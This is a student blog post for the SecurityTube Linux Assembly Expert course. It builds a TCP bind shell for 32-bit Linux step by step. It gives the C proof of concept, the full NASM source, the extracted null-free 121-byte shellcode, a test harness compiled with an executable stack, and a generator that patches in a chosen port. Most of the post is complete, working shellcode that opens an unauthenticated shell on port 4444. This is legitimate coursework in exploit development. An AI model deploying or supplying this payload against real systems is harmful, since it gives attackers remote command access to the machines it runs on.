Intro

So part one of the challenges for Security Tube Linux Assembly Expert (SLAE) certification, TCP bind shell code. For more info on the course look here. Given my minimal knowledge of C programming at this point my intended process for this challenge is to:

  1. Identify the steps I need to take with the code
  2. Write a working C proof of concept for the task
  3. Port the C code to assembly language
  4. Compile and link to a binary and extract the working shell-code
  5. Finally work out a way of making the port number dynamic for the shell-code

Identify the steps I need to take with the code

With a little google fu and thanks to geeksforgeeks it looks like we can break the tasks down into the following

  • Create a socket
  • Bind the socket
  • Make the socket listen
  • Accept connections
  • Send a shell to the connection

Write a working C proof of concept for the task

So this took a bit of research but eventually we end up with the below. In particular you need to ensure that you understand the headers to include and what the various variables are value wise as we will require them when it comes to porting this to assembly. I’ve tried to comment everything inline to make as much sense as possible.

// File: bind_shell.c
// Simple bind shell in C, part of SLAE assessment 1 

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>

#define PORT 4444

int tcp_socket;
int client_socket_id;
struct sockaddr_in address;

int main()
{
	// Define our socket 
	// AF_INET = IPv4 (2) , 
	// SOCK_STREAM = 2 way communication (1), 
	// 0 = default protocol type TCP (0)
	tcp_socket = socket(AF_INET,SOCK_STREAM,0);

	// Bind Socket 
	// Initialise the socket address structure 
	address.sin_family = AF_INET; // 2
	address.sin_port = htons(PORT); // 4444
	address.sin_addr.s_addr = INADDR_ANY; // 0  
	// Bind to it 
	bind(tcp_socket,(struct sockaddr *) &address, sizeof(address));

	// Listen 
	listen(tcp_socket,0); 

	// Accept connections 
	client_socket_id = accept(tcp_socket, NULL ,NULL);

	// Pipe input and output 
	dup2(client_socket_id,2); // stderr
	dup2(client_socket_id,1); // stdout
	dup2(client_socket_id,0); // stdin

	// Run a shell 
	execve("/bin/sh",NULL ,NULL);

	// Exit 
	return 0;
}

With the code in place we compile and test on our local machine using gcc and netcat and we have a working POC.

Moving on we can of course drop the shellcode out of the binary we have just created using C with the following command:

 objdump -d ./bind_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 

However this is, one rather long, and two full of null terminators (\x00) so not overly useful to us as a piece of shellcode. Time to see we we can craft something more useful in assembly.

Port the C code to assembly language

So final code for this is below, the syscalls and variables for each function are ultimately derived from the following:

cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep socket # syscall we want 
 man 2 socket 
 man 2 bind 
 man 2 listen 
 man 2 accept 
 man 2 dup2
 man 2 execve 

The code is rough and ready, I’ve purposely left it that way for now. One to see how my assembly programming improves and two as, optimising it might be an extra mile exercise a little later on. Another point I noted whilst debugging is that a lot of other students “exercise 1” code uses the “socketcall” function rather than socket, listen, accept etc. I’m not sure that either approach makes any different, however as I was replicating the above C code, I soldiered on with separate calls. Finally there doesn’t appear to be a syscall for “accept” so you have to use “accept4” in its place.

Hit a few challenges along the way which I thought it worth documenting which might aid fellows students should they hit similar problems.

Sockaddr Data structure

So the key to getting this working is the fact the structure has to be 16 bytes long and is fed to the stack in reverse order, so requires some padding, you are looking for something like this at the point you call bind:

Format of Port Number

Secondly and related to the above once I got everything working and the shell running, it worked but on a seemingly random high port number rather than 4444. This is because the port bytes need feeding to the stack in reverse order, e.g: 4444 = 0x115c in hex, what we actually want to push to the stack is.

push word 0x5c11

0x00 In Final Shell-code

So having finally got everything working I compiled and extracted my first shell-code to find it riddled with null bytes 🙁

suls@ubuntu:~/myslae/Assignment-1$ objdump -d ./bind_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 
"\x31\xc0\xb8\x67\x01\x00\x00\x31\xdb\xb3\x02\x31\xc9\xb1\x01\x31\xd2\x89\xca\x83\xea\x01\xcd\x80\x96\x52\x68\x11\x5c\x00\x00\x66\x6a\x02\xb8\x69\x01\x00\x00\x89\xf3\x89\xe1\xba\x10\x00\x00\x00\xcd\x80\x31\xc0\xb8\x6b\x01\x00\x00\x89\xf3\x31\xc9\xcd\x80\xb8\x6c\x01\x00\x00\x89\xf3\x31\xc9\x31\xd2\x56\x31\xf6\xcd\x80\x5e\x89\xc7\xb8\x3f\x00\x00\x00\x89\xfb\xb9\x02\x00\x00\x00\xcd\x80\x49\xb8\x3f\x00\x00\x00\xcd\x80\x49\xb8\x3f\x00\x00\x00\xcd\x80\xb8\x0b\x00\x00\x00\x31\xdb\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80"

Disassembling the binary gives a clearer picture of whats going on:

In short moving a 8 or 16 bit value into a 32 bit register doesn’t fill it and it gets padded with zeros. Obvious beginners mistake. To correct instead of using the full register use the correct section for the amount of data you are moving.

mov eax, 0x12345678
 mov ax, 0x1234
 mov al, 0x12

bind_shell.nasm

; Filename bind_shell.nasm
; Purpose: TCP bind shell 

global _start			

section .text
_start:
	; Clear everthing we are using 
	xor eax, eax 
	xor ebx, ebx 
	xor ecx, ecx 
	xor edx, edx 
	xor esi, esi
	xor edi, edi

	; Set up a syscall for creating a socket 
	; int socket(int domain, int type, int protocol);
	; syscall = 359 Goes in EAX 
	; EBX 2
	; ECX 1 
	; EDX 0
	mov ax, 0x167  ; move 359 to al
	mov bl, 0x2 ; move 2 to bl 
	mov cl, 0x1 ; move 1 to cl
	mov edx, ecx ; move 1 into edx
	sub edx, 0x1 ; then subtract 1 to make zero 
	int 0x80
	xchg esi, eax ; socket file descriptor now stored in esi

	; Set up syscall for bind 
	; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
	; syscall = 361 (EAX)
	; EBX = esi
	; ECX = sockaddr structure (pointer to)
	; EDX = len(sockaddr structure) 
	; First we are going to build the structure need for sockaddr on the stack (reverse order)
	xor edx, edx
	push edx ; currently 0 (INADDR_ANY)
	push word 0x5c11 ; Port 4444 (reverse byte order 4444 = 0x115c)
	push word 0x2 ; (AF-INET)

	; Now assemble the actual call 
	mov ax, 0x169 ; Syscall 361 
	mov ebx, esi ; fd for socket 
	mov ecx, esp ; Structure for sockaddr, eg point ecx at the stack
	mov dl, 0x10 ; length of sockaddr (16)
	int 0x80 ; call system interupt 

	; Setup syscall for listen 
	; int listen(int sockfd, int backlog);
	; syscall listen = 363
	mov ax, 0x16b ; system call 363
	mov ebx, esi ; fd for our socket 
	xor ecx, ecx ; clear ecx (int backlog = 0) 
	int 0x80 ; call system interupt 

	; Setup syscall for accept 
	; syscall 364
	; int accept4(int sockfd, struct sockaddr *addr, socklen_t *addrlen, int flags);
	mov ax, 0x16c ; syscall 364 
	mov ebx, esi ; Socket fd 
	xor ecx, ecx ; null ecx and edx 
	xor edx, edx
	push esi ; save esi on the stack for now 
	xor esi, esi
	int 0x80 
	pop esi ; Get the value back 
	mov edi, eax ; store incoming fd in edi

	; Setup duplicate file descriptors for our socket 
	; int dup2(int oldfd, int newfd);
	; syscall 63
	mov al, 0x3f ; syscall 63
	mov ebx, edi ;  
	mov cl, 0x2
	int 0x80 
	dec ecx
	mov al, 0x3f ; syscall 63
	int 0x80 
	dec ecx
	mov al, 0x3f ; syscall 63	
	int 0x80 

	; Finally run a shell 
	; Execve = syscall 11
	; (const char *filename, char *const argv[], char *const envp[]);
	xor eax,eax ; null eax 
	mov al, 0xb ; syscall 11 into eax
	xor ebx, ebx ; zero ebx 
	push ebx ; push a null string to the stack to terminate our string 
	push 0x68732f2f ; hs//
	push 0x6e69622f ; nib/
	mov ebx, esp ; point ebx at the stack
	xor ecx, ecx ; clear ecx and edx as they are used in the syscall 
	xor edx, edx
	int 0x80 

section .data


Compile, Link and Extract

So finally get to compiling and linking our nasm file with the following commands:

nasm -f elf32 -o bind_shell.o bind_shell.nasm 
gcc -o bind_shell bind_shell.o 

With this complete we can extract our shell-code and test it works. Extraction with the previous bash command line looks like this.

suls@ubuntu:~/myslae/Assignment-1$ objdump -d ./bind_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x31\xf6\x31\xff\x66\xb8\x67\x01\xb3\x02\xb1\x01\x89\xca\x83\xea\x01\xcd\x80\x96\x31\xd2\x52\x66\x68\x11\x5c\x66\x6a\x02\x66\xb8\x69\x01\x89\xf3\x89\xe1\xb2\x10\xcd\x80\x66\xb8\x6b\x01\x89\xf3\x31\xc9\xcd\x80\x66\xb8\x6c\x01\x89\xf3\x31\xc9\x31\xd2\x56\x31\xf6\xcd\x80\x5e\x89\xc7\xb0\x3f\x89\xfb\xb1\x02\xcd\x80\x49\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\x31\xc0\xb0\x0b\x31\xdb\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80"

With our final shell code in place we can use a short C program to test the extracted shell-code works:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x31\xf6\x31\xff\x66\xb8\x67\x01\xb3\x02\xb1\x01\x89\xca\x83\xea\x01\xcd\x80\x96\x31\xd2\x52\x66\x68\x11\x5c\x66\x6a\x02\x66\xb8\x69\x01\x89\xf3\x89\xe1\xb2\x10\xcd\x80\x66\xb8\x6b\x01\x89\xf3\x31\xc9\xcd\x80\x66\xb8\x6c\x01\x89\xf3\x31\xc9\x31\xd2\x56\x31\xf6\xcd\x80\x5e\x89\xc7\xb0\x3f\x89\xfb\xb1\x02\xcd\x80\x49\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\x31\xc0\xb0\x0b\x31\xdb\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

Which we compile as follows:

gcc -fno-stack-protector -z execstack -o bind_shell_shellcode shellcode.c 

And test. A working shell code of 121 bytes.

Make the Port Number Dynamic

Final task in this section is to make the port number dynamic. Numerous way of doing this, my approach is going to be to string substitute the port value in the shell-code in C.

Final code below, which is functional but lacks any kind of error handling or sense checking of the user input or checking for bad characters.

// File: bind_shell_program.c
// Simple bind shell with configurable port number in C, part of SLAE assessment 1 
// NB: Zero error checking in this script :/

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int portnumber;
unsigned char porthigh, portlow;

main(int argc, char** argv)
{
	// Check some thing has been passed in 
	if (argc != 2)
		{
			printf("Port number must be supplied\n");
			printf("Usage: %s \n", argv[0]);
		}
	// Convert Port number to some thing usable 
	portnumber = atoi(argv[1]);
	porthigh = portnumber >> 8 ;
	portlow = (portnumber << 8) >> 8;
	
	// Display our shellcode
	printf("Shellcode Length: 121");
	printf("Bind Port (%05d) \n\n",portnumber);
	printf("\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\x31\\xf6\\x31\\xff\\x66\\xb8\\x67\\x01\\xb3\\x02\\xb1\\x01\\x89\\xca\\x83\\xea\\x01\\xcd\\x80\\x96\\x31\\xd2\\x52\\x66\\x68\\x%02x\\x%02x\\x66\\x6a\\x02\\x66\\xb8\\x69\\x01\\x89\\xf3\\x89\\xe1\\xb2\\x10\\xcd\\x80\\x66\\xb8\\x6b\\x01\\x89\\xf3\\x31\\xc9\\xcd\\x80\\x66\\xb8\\x6c\\x01\\x89\\xf3\\x31\\xc9\\x31\\xd2\\x56\\x31\\xf6\\xcd\\x80\\x5e\\x89\\xc7\\xb0\\x3f\\x89\\xfb\\xb1\\x02\\xcd\\x80\\x49\\xb0\\x3f\\xcd\\x80\\x49\\xb0\\x3f\\xcd\\x80\\x31\\xc0\\xb0\\x0b\\x31\\xdb\\x53\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xcd\\x80\n\n",porthigh,portlow);

	return 0;

}

So that is assignment one completed, source code is available on gitub here.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1436

Leave a Reply